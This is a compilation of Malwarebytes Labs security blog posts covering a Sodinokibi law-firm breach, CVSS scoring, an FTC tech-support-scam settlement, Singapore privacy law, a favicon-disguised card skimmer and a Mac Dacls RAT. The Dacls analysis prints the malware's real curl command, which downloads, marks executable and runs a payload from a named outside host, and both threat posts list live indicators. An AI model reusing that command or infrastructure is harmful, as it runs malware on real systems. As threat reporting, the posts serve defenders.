IT News

When a group of celebrities ask to speak with their lawyer, they usually don’t have to call in a bunch of other people to go speak with their lawyer. However, in this case it may well be a thing a little down the line. A huge array of musicians including Bruce Springsteen, Lady Gaga, Madonna, Run DMC and many more have had documents galore pilfered by the Sodinokibi gang.

Around 756GB of files including touring details, music rights, and correspondence were stolen – some of which was sitting pretty on a site accessible through TOR as proof of the sticky-fingered shenanigans. The law firm affected is Grubman Shire Meiselas & Sacks, a major player handling huge contacts for global megastars on a daily basis. Although they handle TV stars, actors, and sports personalities and more, so far the only data referenced online appears to be in relation to singers / songwriters. 

Why?

The assumption is the data is being displayed as a preview of things to come; pay a ransom, or the data gets it (and by gets it, we mean “everything is published online in disastrous fashion”). The Sodinobiki gang are not to be trifled with, having already brought the walls crashing down upon Travelex not so long ago.

Hot targets…

Legal firms are becoming a hot target for malware focused criminals as they realise the value of the data they’re sitting on. Break in, exfiltrate the files, then send a few ransom notes to show them you A) have the files and B) mean business. If they refuse to pay up, drop the files and walk away from the inevitable carnage of reputational damage + compromised clients.

Who or what is Sodinokibi?

Put simply, a devastatingly successful criminal group with a penchant for Ransomware, data theft, and extortion. Sporting a popular Ransomware as a Service business model, they spiked hard in May of 2019 with a ramp-up in attacks on business and (to some degree) consumers. Their ransomware went a long way to filling the void left by GandCrab group’s “retirement,” and multiple, smaller spikes took place until an eventual decline for both consumer and business towards the end of July.

There were six versions of Sodinokibi released into the wild between April to July alone, helping to keep the security industry and targets on their toes over a very condensed period. Vulnerabilities, phishing campaigns using malicious links, malvertising, and even compromised MSPs to help launch the ransomware waves. You should absolutely lock down your MSP, by the way.

Technical details on the attack?

This is a breaking story and for various reasons the affected parties aren’t going to spill the beans just yet, especially with investigations ongoing. Having said that, there’s every probability they used ransomware to get the job done and that this was a targeted attack. How is Sodinokibi ransomware faring at the moment?

Sodinokibi ransomware statistics

This likely isn’t part of any huge spam wave. Our monthly data for consumer and business shows the last big spike in Ransom.Sodinokibi back in December:

Business detections hovered between 200 to 280 from September to November 2019, before exploding over December to just under 7,000. It quickly dropped back down to 260 in February 2020, with a slight spike of 1,447 in April.

Consumer, meanwhile, followed a slightly more convoluted path with a peak of just over 600 in November 2019, and numbers ranging from 293 in July 2019 to 228 in March 2020 and generally low numbers elsewhere (76 in August 2019, 70 in December 2019, and 109 in April 2020).

In conclusion, then, ensure your ransomware armory is fully stocked and ready to go should you be sitting on lots of incredibly valuable entertainer documents, or indeed anything at all. Whether hit by random attacks or targeted mayhem, the end result is still the same: lots of headaches, and quite a few calls to legal.

Or, in this case, many calls to legal.

The post Sodinokibi drops greatest hits collection, and crime is the secret ingredient appeared first on Malwarebytes Labs.

The Common Vulnerability Scoring System (CVSS) provides software developers, testers, and security and IT professionals with a standardized process for assessing vulnerabilities. You can use the CVSS to assess the threat level of each vulnerability, and then prioritize mitigation accordingly.

This article explains how the CVSS works, including a review of its components, and describes the importance of using a standardize process for assessing vulnerabilities.

What is a software vulnerability?

A software vulnerability is any weakness in the codebase that can be exploited. Vulnerabilities can result from a variety of coding mistakes, including faulty logic, inadequate validation mechanisms, or lack of protection against buffer overflows. Unprotected APIs and issues contributed by third-party libraries are also common sources of vulnerabilities.

Regardless of the source of the vulnerability, all present some risk to users and organizations. Until vulnerabilities are discovered and patched, or fixed in a software update, attackers can exploit them to damage systems, cause outages, steal data, or deploy and spread malware.

How vulnerabilities are reported

The way in which vulnerabilities are reported depends on the type of software they are discovered on and the type of vulnerability they appear to be. In addition, the perceived importance of the vulnerability to the finder is a factor in how it’s reported.

Typically, vulnerabilities are found and reported by security researchers, penetration testers, and users themselves. Security researchers and penetration testers may work full-time for organizations or they may function as freelancers working under a bug bounty program.

When vulnerabilities are minor or can be easily fixed by the user without vendor or community help, issues are more likely to go unreported. Likewise, if a severe issue is discovered by a black hat researcher, or cybercriminal, it may not be reported. Generally, however, vulnerabilities are reported to organizations or developers when found.

If a vulnerability is found in proprietary software, it may be reported directly to the vendor or to a third-party oversight organization, such as the non-profit security organization, MITRE. If one is found in open-source software, it may be reported to the community as a whole, to the project managers, or to an oversight group.

When vulnerabilities are reported to a group like MITRE, the organization assigns the issue an ID number and notifies the vendor or project manager. The responsible party then has 30 to 90 days to develop a fix or patch the issue before the information is made public. This reduces the chance that attackers can exploit the vulnerability before a solution is available.

What is CVSS?

The Common Vulnerability Scoring System (CVSS) is a set of free, open standards. These standards are maintained by the Forum of Incident Response and Security Teams (FIRST), a non-profit security organization. The standards use a scale of 0.0 to 10.0, with 10.0 representing the highest severity. The most recent version released is CVSS 3.1, released in June 2019.

These standards are used to help security
researchers, software users, and vulnerability tracking organizations measure
and report on the severity of vulnerabilities. CVSS can also help security
teams and developers prioritize threats and allocate resources effectively.

How CVSS scoring works

CVSS scoring is based on a combination of several subsets of scores. The only requirement for categorizing a vulnerability with a CVSS is the completion of the base score components. However, it is recommended that reporters also include temporal scores and environmental metrics for a more accurate evaluation.

The base score of the CVSS is assessed using
an exploitability subscore, an impact subscore, and a scope subscore. These
three contain metrics for assessing the scope of attacks, the importance of
impacted data and systems, and the scope subscore assesses the impact of the
attack on seemingly unaffected systems.

Base score

The base score is meant to represent the
inherent qualities of a vulnerability. These qualities should not change over
time nor should qualities be dependent on individual environments. To calculate
the base score, reporters must calculate the composite of three subscores.

Exploitability
subscore

The exploitability subscore measures the
qualities of a vulnerable component. These qualities help researchers define
how easily a vulnerability can be exploited by attackers. This subscore is
composed of the following metrics:

Impact
subscore

The impact subscore measures the effects that
successful exploitation has on the vulnerable component. It defines how a component
is affected based on the change from pre to post exploit. This subscore is
composed of the following metrics:

Scope
subscore

The scope score measures what impact a vulnerability may have on components other than the one affected by the vulnerability. It tries to account for the overall system damage that an attacker can execute by exploiting the reported vulnerability. This is a binary scoring with scope being changed or unchanged.

Temporal score

The temporal score measures aspects of the
vulnerability according to its current status as a known vulnerability. This
score includes the following metrics:

Environmental metrics

Environmental metrics measure the severity of the vulnerability adjusted for its impact on individual systems. These metrics are customizations of the metrics used to calculate the base score. Environmental metrics are most useful when applied internally by security teams calculating severity in relation to their own systems.

The importance of standardization

CVSS provides comprehensive guidelines for assessing vulnerabilities. This scoring system is used by many and has a wide range of applications. However, perhaps the most important aspect of the CVSS is that it provides a unified standard for all relevant parties. Standardization is crucial when responding to risks and prioritizing mitigation.

CVSS scores are more than just a means of standardization. These scores have practical applications and can have a significant impact in helping security teams and product developers prioritize their efforts. 

Within an organization, security teams can use CVSS scores to efficiently allocate limited resources. These resources may include monitoring capabilities, time devoted to patching, or even threat hunting to determine if a vulnerability has already been exploited. This is particularly valuable for small teams who may not have the resources necessary to address every vulnerability.

CVSS scores can also be useful for security researchers. These scores can help highlight components that are especially vulnerable or tactics and tools that are particularly effective. Researchers can then apply this knowledge to developing new security practices and tools to help detect and eliminate threats from the start. 

Finally, CVSS scores can be informative for developers and testers in preventing vulnerabilities in the first place. Careful analysis of high ranking vulnerabilities can help software development teams prioritize testing. It can also help highlight areas where code security best practices can be improved. Rather than waiting until their own product is discovered to be vulnerable, teams can learn from other’s mistakes

The post How CVSS works: characterizing and scoring vulnerabilities appeared first on Malwarebytes Labs.

What can you do as a scammer when no legitimate payment provider wants to process your payments anymore? Or, what if you are growing sick and tired of these same payment providers reimbursing disgruntled customers who claim that your products didn’t fix computers, like—you know—you said they would?

Simple. You rely on some novel help. That is, until you get caught.

Let us tell you a story of intrigue and wrongdoing that resulted in a multi-million-dollar settlement issued by the US Federal Trade Commission.

How do tech support scammers work?

Some of the worst internet criminals are those who prey on the weakest groups in our society. Communities that are uncomfortable and less experienced with computers are already at a disadvantage, and tech support scammers make shameless use of these circumstances, demanding payments for bogus solutions to entirely non-existent tech problems. First comes the hook: There is something wrong with your computer. Then comes the sell: Only we can fix it.

But, that money stream can dry up because of a legitimate link in the chain—payment processors. Scammers may first receive services from legitimate payment processors, but soon, those providers will notice a high volume of complaints and wizen up to the actions of their customer, consequently kicking them out and warning their colleagues to stay away from said customer.

It’s a real problem for many tech support scammers, and one that has pushed some into even accepting gift cards as payment, just to circumvent the problem that they were refused by practically every payment provider.

But for a small group of call centers and software makers recently investigated by the FTC, there was a better option than gift cards.

Enter RevenueWire Inc., a Canadian company doing business as “SafeCart.”

Solution: start your own payment provider

The setup was clever.

First, RevenueWire entered into contracts with banks and payment processors in the US in order to obtain and open merchant accounts, thus allowing it to accept debit and credit payments. RevenueWire then entered into contracts with tech support call centers with a less-than-stellar track record. Further, according to the FTC, RevenueWire worked with separate, third-party software companies, including PC Cleaner Inc. and Boost Software Inc., which would direct consumers of their own software to any tech support call centers that were now working with RevenueWire.

In essence, RevenueWire engaged in a miniature, controlled economy, gaining vast insight into an entire ecosystem that included making software, selling it, providing tech support services, and funneling payments made along the way.

This made for a complete alignment of businesses. According to the FTC, the stakeholders in this organization closely cooperated with and participated in companies that acted as telemarketers, software builders, website designers, and call center operators. Plus, they now had their own payment provider.

What they did

The organization’s objective, according to the FTC, was to swindle customers out of their money while pretending to be tech support operators.

When you are a tech support scammer there are three main angles you can work to get your “clients” to call you. Calling the clients and trying to sell them your services is one method, and they didn’t shy away it. But as you can imagine, the chances of deceiving a client are much higher when you get a client to actually call you. To achieve this, tech support scammers can:

• Pretend to represent a legitimate company, where Microsoft and Apple are probably the most well-known examples. But Malwarebytes has been the victim of impersonation a few times as well.
• Use advertising to get prospects to visit websites with the number you want them to call, to the degree of using browser lockers and fake online scanners to convince the visitor their computer has serious issues, that only you know how to solve—at a steep price.
• Release fake anti-malware software that prominently displays your number as a help resource. Again, convincing the user that he needs to buy the software to fix those problems, and probably some extra services to go.

In the case at hand, the tech support call centers working with RevenueWire were run by Vast Tech Support, LLC (“Vast”) and Inbound Call Experts, LLC (“ICE”). The FTC filed legal actions against both these companies in the past.

What charges did RevenueWire receive?

RevenueWire was charged under the accusation that they laundered credit card payments for, and assisted and facilitated, two tech support scams previously sued by the FTC. You guessed it, those two tech support scammers were Vast and ICE.

As Andrew Smith, director of the FTC’s Bureau of Consumer Protection, said in a news release when the settlement was announced:

“Finding ways to get paid – without getting caught – is essential for scammers who steal money from consumers. And that’s exactly what RevenueWire did for tech support scammers when it laundered their transactions through the credit card system.”

The FTC said that RevenueWire violated the Federal Trade Commission Act, which prohibits “unfair or deceptive acts or practices in or affection commerce.” RevenueWire also, according to the FTC, violated the the Telemarketing Sales Rule, “provided substantial assistance and support to one or more sellers or telemarketers, whom they knew, or consciously avoided knowing, were violating” sections of the Telemarketing Sales Rule, and they “submitted charges through RevenueWire’s merchant account for companies that made false statements to consumers.”

What about the people that worked for RevenueWire?

Only a few people that worked at RevenueWire knew about the complete business model. Most of the employees never learned—and may have been shocked to learn—about the company’s true nature when it was named in the FTC settlement. Some may have figured out what was going on while they were working for RevenueWire, but almost no-one was told up front. A fraud analyst working for RevenueWire repeatedly warned executives about dealings with “crooks,” according to evidence published in the FTC’s report. This information was directly shared with Roberta Leach, RevenueWire’s CEO and a named defendant in the FTC case.

The good news

In a recent press release, the FTC announced that RevenueWire and its CEO, Roberta Leach will pay $6.75 million to settle charges that they laundered credit card payments for, and assisted and facilitated, two tech support scams previously shut down by the FTC.

The FTC stipulated:

“Consumers throughout the country have been injured by tech support scams in which fraudsters deceptively market services to ‘fix’ purported problems on consumers’ computers. The FTC and state law enforcers have brought cases against the software sellers and call centers involved in these scams, including call centers operated by Vast Tech Support, LLC (‘Vast’) and Inbound Call Experts, LLC (‘ICE’). FTC v. Boost Software, Inc., No. 14-81397 (S.D. Fla. filed Nov. 10, 2014); FTC v. Inbound Call Experts, LLC, No. 14-81395 (S.D. Fla. filed Nov. 10, 2014). RevenueWire, Inc. and its Chief Executive Officer (collectively, ‘Defendants’) have played a key role in many of these scams, including the Vast and ICE scams. Using a business model named ‘Call Stream,’ the Defendants have provided lead generation, business development, payment processing, and money distribution services to numerous tech support fraudsters, leading to hundreds of millions of dollars of consumer injury.”

We are pleased to learn that the FTC successfully went after this enabler and payment provider, especially in this case as they knew what they were doing and the FTC could build on the cases where they ruled against the scammers themselves.

Malwarebytes’ fight against tech support scammers

Malwarebytes has been involved in the fight against tech support scammers ever since the beginning of our company, even though it is not something that results in a profit for us. We feel that tech support scammers give the industry a bad name by proxy and as pointed out earlier, some of them even pretend to represent our company. Also, we care about everyone’s safety, not just the safety of our paying customers.

If you want to be sure to get help from our actual support team, don’t contact just any number you find while searching, but reach out to us through our Support portal.

Stay safe, everyone, and remain vigilant!

The post RevenueWire to pay $6.7 million to settle FTC charges appeared first on Malwarebytes Labs.

This week on Lock and Code, we discuss the top security headlines generated right here on Labs and around the Internet. In addition, we talk to Chris Boyd, lead malware intelligence analyst at Malwarebytes, about facial recognition technology—its early history, its proven failures at accuracy, and whether improving the technology would actually be “good” for society.

Tune in for all this and more on the latest episode of Lock and Code, with host David Ruiz.

You can also find us on the Apple iTunes store, on Google Play Music, plus whatever preferred podcast platform you use.

We cover our own research on:

• Cloud delivered security: Can the cloud help your organisation?
• Skimmers in disguise: We look at how a skimmer disguises itself as an image file.
• Mac RATs: Watch out for Trojanized 2FA apps.
• Singapore’s desired updates to its data protection law.

Plus other cybersecurity news:

• Roblox falls victim to insider access: Criminals bribed an insider to perform actions they really shouldn’t have. (Source: VICE)
• Not very sporting: Australia’s sports integrity boss eyes up the world of e-sports. (Source: The Business Times)
• COVID-19 app troubles: UKGOV runs into issues with their proposed contact-tracing app. (Source: The Register)
• It’s all about teamwork: Steer clear of bogus fake Microsoft Teams emails going on a phishing expedition. (Source: Help Net Security)
• Sounding off: Researchers turn a PSU into a crude speaker capable of using audio waves to transmit data. (Source: ZDnet)

Stay safe, everyone!

The post Lock and Code S1Ep6: Recognizing facial recognition’s flaws with Chris Boyd appeared first on Malwarebytes Labs.

In early 2019, Singapore’s data
privacy regulators proposed that the country’s data privacy law could use two
new updates—a data breach notification requirement and a right of data
portability for the country’s residents.

The proposed additions are
commonplace in several data privacy laws around the world, including, most
notably, the European Union General Data Protection Regulation, or GDPR, a sweeping
set of data protections that came into effect two years ago.

If Singapore approves its two updates, it would be the latest country in a long line of other countries to align their own data privacy laws with GDPR.

The appeal is clear: Countries
that closely hew their own data privacy laws to GDPR have a better shot at
obtaining what is called an “adequacy determination” from the European
Commission, meaning those countries can legally transfer data between themselves
and the EU.

Such a data transfer regime is key
to engaging in today’s economy, said D. Reed Freeman Jr., cybersecurity and
privacy practice co-chair at the Washington, D.C.-based law firm Wilmer Cutler
Pickering Hale and Dorr. If anything, the proposed appeal to GDPR is as much an
economic decision as it is one of data privacy rights.

“The world’s economy depends on data flows, and the more restrictive the data flows are, the better,” Freeman said. “Multinational [organizations] in Singapore would like to have an adequacy determination.”

Singapore’s Personal Data Protection Act

On October 15, 2012, Singapore passed its data protection law, the Personal Data Protection Act (PDPA), putting into place new rules for the collection, use, and disclosure of personal data. The PDPA did two other things. It created a national “Do Not Call” register and it established the country’s primary data protection authority, the Personal Data Protection Commission.

For years, the Personal Data Protection Commission has issued warnings to organizations that violate the country’s data protection law, publishing their decisions for the public to read. It is the same commission responsible for the current attempts to update the law.

Today, Singaporeans enjoy some of the same data protection
rights found in the European Union and even in California.

For starters, Singaporeans have the right to request that an
organization hand over any personal data that belongs to them. Further,
Singaporeans also have the right to correct that personal data should they find
any errors or omissions.

Singapore’s data privacy law also includes restrictions for how
organizations collect, use, or disclose the personal data of Singaporeans.

According to the PDPA, organizations must obtain “consent” before
collecting, using, or disclosing personal data (more on that below). Organizations
must also abide by “purpose” limitations, meaning that they can “collect, use
or disclose personal data about an individual only for purposes that a
reasonable person would consider appropriate in the circumstances and, if
applicable, have been notified to the individual concerned.” Organizations must
notify individuals about planned collection, use, and disclosure of personal
data, and collected personal data must be accurate.

Further, any personal data in an organization’s possession
must be protected through the implementation of “reasonable security
arrangements to prevent unauthorized access, collection, use, disclosure,
copying, modification, disposal or similar risks.” And organizations also have
to “cease to retain” documents that contain personal data, or “remove the means
by which the personal data can be associated with particular individuals” after
the purpose for collecting personal data ends.

While these rules sound similar to GDPR, there are discrepancies—including
how Singapore and the EU approach “consent.” In Singapore’s PDPA, consent is
not required to collect personal data when that data is publicly available, is
necessary for broadly defined “evaluative purposes,” or collected solely for “artistic
or literary purposes.” In the EU, there are no similar exceptions.

Two other areas where the laws differ are, of course, data portability
and data breach notification requirements. Singapore’s law has none.

Proposed data privacy additions

On February 25, 2019, Singapore’s Personal Data Protection Commission published a “discussion paper” on data portability, explaining the benefits of adding a data portability requirement to the PDPA.

“Data portability, whereby users are empowered to authorize
the movement of their personal data across organizations, can boost data flows
and support greater data sharing in a digital economy both within and across
sectors,” the PDPC said in a press release.

With a right data portability, individuals can request that
organizations hand over their personal data in a format that lets them easily move
it to another provider and basically plug it in for immediate use. Think of it
like taking your email contacts from one email provider to another, but on a
much larger scale and with potentially less value—it’s not like your Facebook status
updates from 2008 will do you much good on Twitter today.

Less than one week after publishing its data portability discussion paper, the Personal Data Protection Commission also announced plans to add a data breach notification requirement to the PDPA.

The Personal Data Protection Commission proposed that if organizations
suffered a data breach that potentially harmed individuals, those individuals
and the PDPC itself would need to be notified. Further, even if a data breach
brought no potential harm to individuals, organizations would need to notify
the PDPC if more than 500 people’s personal data was affected.

Following public consultations, the data portability requirement was well-received.

Why attempt data privacy updates now?

Aligning a country’s data protection laws with the protections provided in GDPR is nothing new, and in fact, multiple countries around the world are currently engaged in the same process. But Singapore’s timing could potentially be further pinned down to another GDPR development in early January of 2019—an adequacy determination granted by the European Commission to another country, Japan.

Wilmer Hale’s Freeman said it is likely that Singapore looked to Japan and wanted the same.

“[Singapore] is competing in the Asia market and in the
global market, and I would suspect that the leaders in Singapore saw what
happened in Japan, asked the relevant people at the Commission, ‘What do we
need to do to get that?’ and were told ‘If you line up [PDPA] pretty close, we
have a good chance of getting an adequacy determination.’” Freeman said.

Freeman explained that, in recent history, obtaining an
adequacy determination relies on whether a country’s data protection laws are similar
to GDPR.

“Over time, it’s been sort of short-hand thought of as ‘adequacy’
means something close to ‘equivalent,’” Freeman said.

As to the importance, Freeman explained that any
multinational business that wants to move data between its home country and the
EU must, per the rules of GDPR, obtain an adequacy determination. No
determination, no legal opportunity to engage in the world’s economy.

“If you’re a multinational company and you have employees and customers in Europe, and you want to store the data at the home office in Singapore, you need a lawful basis to do that,” Freeman said. An adequacy determination is that legal basis, Freeman said, and it’s far more difficult to “undo” an adequacy determination than it is a bilateral agreement, like the one struck down by the Court of Justice for the European Union between the EU and the United States.

Don’t reinvent the data privacy wheel

Singapore has not proposed a time frame for when it wants to
finalize the data portability rights and data breach notification requirements.
Nor has it specified the actual regulations it would put in place—including how
long before the Personal Data Protection Commission would enforce the new
requirements, or what those enforcement actions would entail.

Freeman suggested that when the Singaporean government clarifies
its proposals, it look to its neighbors across the world who have grappled with
the same questions on data breach notifications and data portability.

For data portability, Freeman explained that many large corporations have already struggled to comply with the rules both in GDPR and in the California Consumer Privacy Act, not because of an inability to do so, but because providing such in-depth data access to individuals requires understanding all the places where an individual’s personal data can live.

“Is it stored locally? On servers in different places? Is it in email? In instant messaging? On posts?” Freeman said.

For data breach notification requirements, Freeman also said
that it makes little sense to create something “out of whole cloth” that will
create new burdens on multinational businesses that already have to comply with
the data breach notification requirements in GDPR and in the 50 US states.

It’s better to find what currently works, Freeman said, and
borrow.

The post Data privacy law updates eyed by Singapore appeared first on Malwarebytes Labs.

Malware authors are notorious for their deceptive attempts at staying one step ahead of defenders. As their schemes get exposed, they always need to go back to their bag of tricks to pull out a new one.

When it comes to online credit card skimmers, we have already seen a number of evasion techniques, some fairly simple and others more elaborate. The goal remains to deceive online shoppers while staying under the radar from website administrators and security scanners.

In this latest instance, we observed an old server-side trick combined with the clever use of an icon file to hide a web skimmer. Threat actors registered a new website purporting to offer thousands of images and icons for download, but which in reality has a single purpose: to act as a façade for a credit card skimming operation.

The suspicious favicon

This latest case started with an image file displayed on the browser’s tab often used for branding or identifying a website, also known as a favicon.

While reviewing our crawler logs, we noticed requests to a domain called myicons[.]net hosting various icons and, in particular, favicons. Several e-commerce sites were loading a Magento favicon from this domain.

This in itself is not particularly suspicious. However, we noticed that the domain myicons[.]net was registered just a few days ago and was hosted on a server (83.166.244[.]76) that was previously identified as malicious. In a blog post, web security company Sucuri disclosed how this host was part of a web skimming campaign using time-based domain names.

In addition, we found that the person who registered myicons[.]net stole all the content from a legitimate site hosted at iconarchive.com; and they did it in the most simple way—by loading it as an iframe:

<iframe src="http://www.iconarchive.com/" width="100%"
height="1015px" frameborder="0" align="left">  

Our suspicions were that the favicon.png file was malicious and perhaps using stenography to hide JavaScript code. But this was not the case. The image was properly formatted, with no extra code inside.

Conditional server-side response

To better understand what was going on before ruling this out as a false alert, we examined how this file was served in the context of an online purchase. Low and behold, when visiting the checkout page of a compromised Magento website, the innocent favicon.png turned into something else altogether.

Instead of serving a PNG image, the malicious server returns JavaScript code that consists of a credit card payment form. This content is loaded dynamically in the DOM to override the PayPal checkout option with its own drop down menu for MasterCard, Visa, Discover and American Express.

“Ant and cockroach” skimmer

This skimmer may be familiar to some under the nickname “ant and cockroach.” It is somewhat unique in that it is customized for English and Portuguese checkout forms.

In addition to JavaScript code, it contains HTML that will be injected into the checkout page of compromised stores. The idea is to blend in so that shoppers don’t notice anything suspicious.

While web skimmers primarily focus on credit card data, they typically also collect additional personal information about the victims including name, address, phone number, email.

That data is encoded and then sent back to the criminals. For client-side skimmers, the exfiltration domain could be another hacked site or a malicious site registered strictly for this purpose.

Here the exfiltration domain is psas[.]pw and resides on known criminal infrastructure on the IP address 83.166.242[.]105. Back in March we described a campaign abusing Cloudflare’s Rocket Loader script which we believe is tied to the same threat group.

One of many web skimmer campaigns

Given the decoy icons domain registration date, this particular scheme is about a week old but is part of a larger number of ongoing skimming attacks.

Malwarebytes users are protected via our real-time web security module available in both Malwarebytes for Windows and via our Browser Guard extension available for both Google Chrome and Mozilla Firefox.

Indicators of Compromise

Skimmer URL, domain, IP and SHA256

myicons[.]net/d/favicon.png
myicons[.]net
83.166.244[.]76
825886fc00bef43b3b7552338617697c4e0bab666812c333afdce36536be3b8e

Exfiltration domain and IP

psas[.]pw
83.166.242[.]105

The post Credit card skimmer masquerades as favicon appeared first on Malwarebytes Labs.

This blog post was authored by Hossein Jazi, Thomas Reed and Jérôme Segura.

We recently identified what we believe is a new variant of the Dacls Remote Access Trojan (RAT) associated with North Korea’s Lazarus group, designed specifically for the Mac operating system.

Dacls is a RAT that was discovered by Qihoo 360 NetLab in December 2019 as a fully functional covert remote access Trojan targeting the Windows and Linux platforms.

This Mac version is at least distributed via a Trojanized two-factor authentication application for macOS called MinaOTP, mostly used by Chinese speakers. Similar to the Linux variant, it boasts a variety of features including command execution, file management, traffic proxying and worm scanning.

Discovery

On April 8th, a suspicious Mac application named “TinkaOTP” was submitted to VirusTotal from Hong Kong. It was not detected by any engines at the time.

The malicious bot executable is located in “Contents/Resources/Base.lproj/” directory of the application and pretends to be a nib file (“SubMenu.nib”) while it’s a Mac executable file. It contained the strings “c_2910.cls” and “k_3872.cls” which are the names of certificate and private key files that had been previously observed.

Persistence

This RAT persists through LaunchDaemons or LaunchAgents which take a property list (plist) file that specifies the application that needs to be executed after reboot. The difference between LaunchAgents and LaunchDaemons is that LaunchAgents run code on behalf of the logged-in user while LaunchDaemon run code as root user.

When the malicious application starts, it creates a plist file with the “com.aex-loop.agent.plist” name under the “Library/LaunchDaemons” directory. The content of the plist file is hardcoded within the application.

 The program also checks if “getpwuid( getuid())” returns the user id of the current process. If a user id is returned, it creates the plist file “com.aex-loop.agent.plist” under the LaunchAgents directory: “Library/LaunchAgents/”.

The file name and directory to store the plist are in hex format and appended together. They show the filename and directory backwards.

Config File

The config file contains the information about the victim’s machine such as Puid, Pwuid, plugins and C&C servers. The contents of the config file are encrypted using the AES encryption algorithm.

 Both Mac and Linux variants use the same AES key and IV to encrypt and decrypt the config file. The AES mode in both variants is CBC.

The config file location and name are stored in hex format within the code. The name of the config file pretends to be a database file related to the Apple Store:

“Library/Caches/Com.apple.appstore.db”

The “IntializeConfiguration” function initializes the config file with the following hardcoded C&C servers.

The config file is constantly updated by receiving commands from the C&C server. The application name after installation is “mina”. Mina comes from the MinaOTP application which is a two-factor authentication app for macOS.

Main Loop

After initializing the config file, the main loop is executed to perform the following four main commands:

• Upload C&C server information from the config file to the server (0x601)
• Download the config file contents from the server and update the config file (0x602)
• Upload collected information from the victim’s machine by calling “getbasicinfo” function (0x700)
• Send heartbeat information (0x900)

The command codes are exactly the same as Linux.dacls.

Plugins

This Mac RAT has all the six plugins seen in the Linux variant with an additional plugin named “SOCKS”. This new plugin is used to proxy network traffic from the victim to the C&C server.

The app loads all the seven plugins at the start of the main loop. Each plugin has its own configuration section in the config file which will be loaded at the initialization of the plugin.

CMD plugin

The cmd plugin is similar to the “bash” plugin in the Linux rat which receives and executes commands by providing a reverse shell to the C&C server.

File Plugin

The file plugin has the capability to read, delete, download, and search files within a directory. The only difference between the Mac and Linux version is that the Mac version does not have the capability to write files (Case 0).

Process plugin

The process plugin has the capability of killing, running, getting process ID and collecting process information.

If the “/proc/%d/task” directory of a process is accessible, the plugin obtains the following information from the process where %d is the process ID:

• Command line arguments of the process by executing “/proc/ %/cmdline”
• Name, Uid, Gid, PPid of the process from the “/proc/%d/status” file.

Test plugin

The code for the Test plugin between Mac and Linux variant is the same. It checks the connection to an IP and Port specified by the C&C servers.

RP2P plugin

The RP2P plugin is a proxy server used to avoid direct communications from the victim to the actor’s infrastructure.

LogSend plugin

The Logsend plugin contains three modules that:

• Check connection to the Log server
• Scan network (worm scanner module)
• Execute long run system commands

This plugin sends the collected logs using HTTP post requests.

An interesting function in this plugin is the worm scanner. The “start_worm_scan” can scan a network subnet on ports 8291 or 8292. The subnet that gets scanned is determined based on a set of predefined rules. The following diagram shows the process of selecting the subnet to scan.

Socks plugin

The Socks plugin is the new, seventh plugin added to this Mac Rat. It is similar to the RP2P plugin and acts as an intermediary to direct the traffic between bot and C&C infrastructure. It uses Socks4 for its proxy communications.

Network Communications

C&C communication used by This Mac RAT is similar to the Linux variant. To connect to the server, the application first establishes a TLS connection and then performs beaconing and finally encrypts the data sent over SSL using the RC4 algorithm.

Both Mac and Linux variants use the WolfSSL library for SSL communications. WolfSSL is an open-source implementation of TLS in C that supports multiple platforms. This library has been used by several threat actors. For example, Tropic Trooper used this library in its Keyboys malware.

The command codes used for beaconing are the same as the codes used in Linux.dacls. This is to confirm the identity of the bot and the server.

The RC4 key is generated by using a hard-coded key.

Variants and detection

We also identified another variant of this RAT which downloads the malicious payload using the following curl command:

curl -k -o ~/Library/.mina https://loneeaglerecords.com/wp-content/uploads/2020/01/images.tgz.001 > /dev/null 2>&1 && chmod +x ~/Library/.mina > /dev/null 2>&1 && ~/Library/.mina > /dev

We believe this Mac variant of the Dcals RAT is associated with the Lazarus group, also known as Hidden Cobra and APT 38, an infamous North Korean threat actor performing cyber espionage and cyber-crime operations since 2009. 

The group is known to be one of the most sophisticated actors, capable of making custom malware to target different platforms. The discovery of this Mac RAT shows that this APT group is constantly developing its malware toolset.

Malwarebytes for Mac detects this remote administration Trojan as OSX-DaclsRAT.

IOCs

899e66ede95686a06394f707dd09b7c29af68f95d22136f0a023bfd01390ad53
846d8647d27a0d729df40b13a644f3bffdc95f6d0e600f2195c85628d59f1dc6
216a83e54cac48a75b7e071d0262d98739c840fd8cd6d0b48a9c166b69acd57d
d3235a29d254d0b73ff8b5445c962cd3b841f487469d60a02819c0eb347111dd
d3235a29d254d0b73ff8b5445c962cd3b841f487469d60a02819c0eb347111dd

loneeaglerecords[.]com/wp-content/uploads/2020/01/images.tgz.001 

67.43.239.146
185.62.58.207
50.87.144.227

The post New Mac variant of Lazarus Dacls RAT distributed via Trojanized 2FA app appeared first on Malwarebytes Labs.

As a counterpart to security for your assets in the cloud, you may also run into solutions that offer security from the cloud. These solutions are generally referred to as cloud-delivered security. Cloud-delivered security is sometimes called security-as-a-service which we will avoid here as it might be confused with the more generally used term Software-as-a-Service (SaaS).

Types of cloud-delivered security

It is not hard to imagine several types of cloud-delivered security:

• Definitions or rules for detection are in the cloud
• Security controls and logs for systems that in multiple places are located in the cloud
• Suspicious files that are not recognized are uploaded to the cloud for closer inspection
• The security applications run completely or partially in the cloud and check on the security health of the physical systems

With detection criteria in the cloud there is only one update needed for new definitions and not for every individual system.

Controls and logs in the cloud enable security management to be the spider in the web from virtually anywhere.

The closer inspection of the suspicious
file can be done by the security provider themselves or use a more general
resource like VirusTotal.

Using containerization, security applications can be shared amongst different systems, even if they are running a different operating system.

Models of cloud-delivered security

Besides these different types, there are also three basic cloud delivery models:

• Software as a Service (SaaS)
• Platform as a Service (PaaS)
• Infrastructure as a Service (IaaS)

SaaS clients use applications supplied by a
service provider. SaaS does not allow or require any control of the cloud
platform or the infrastructure. This can be beneficial to some organizations
while others would like at least some control.

PaaS users can deploy consumer-created or
acquired applications using programming languages and tools supported by the
provider’s content policies. This both limits the choices but it also enhances
security.

IaaS is interesting for more sophisticated and demanding users as it allows them to deploy and run arbitrary software. This could apply to both operating systems and applications.

The main difference for these three
delivery models is the internal organization of the cloud infrastructure. For
the user this mainly results in a degree of freedom in how to use the
infrastructure.

Cloud-enabled architecture

A cloud-enabled architecture is by
definition built in the cloud and delivered as a service. This means it
provides a platform that you can easily deploy, and it will help you minimize
the need for costly appliances and backhauling.

Even more than when you are starting to use cloud enabled architecture, moving existing critical capabilities such as endpoint security into the cloud requires careful consideration of a wide range of privacy and security assurances. But sometimes the choice between the two isn’t one that is available. Circumstances do not always allow for the easy path of stepping into a readily prepared platform.

SaaS-based, cloud-enabled architecture should provide customers with a system that can be operational in minutes and requires no on-premise infrastructure. It may combine multiple security functions into one solution, so you can extend protection to devices, remote users, and distributed locations anywhere.

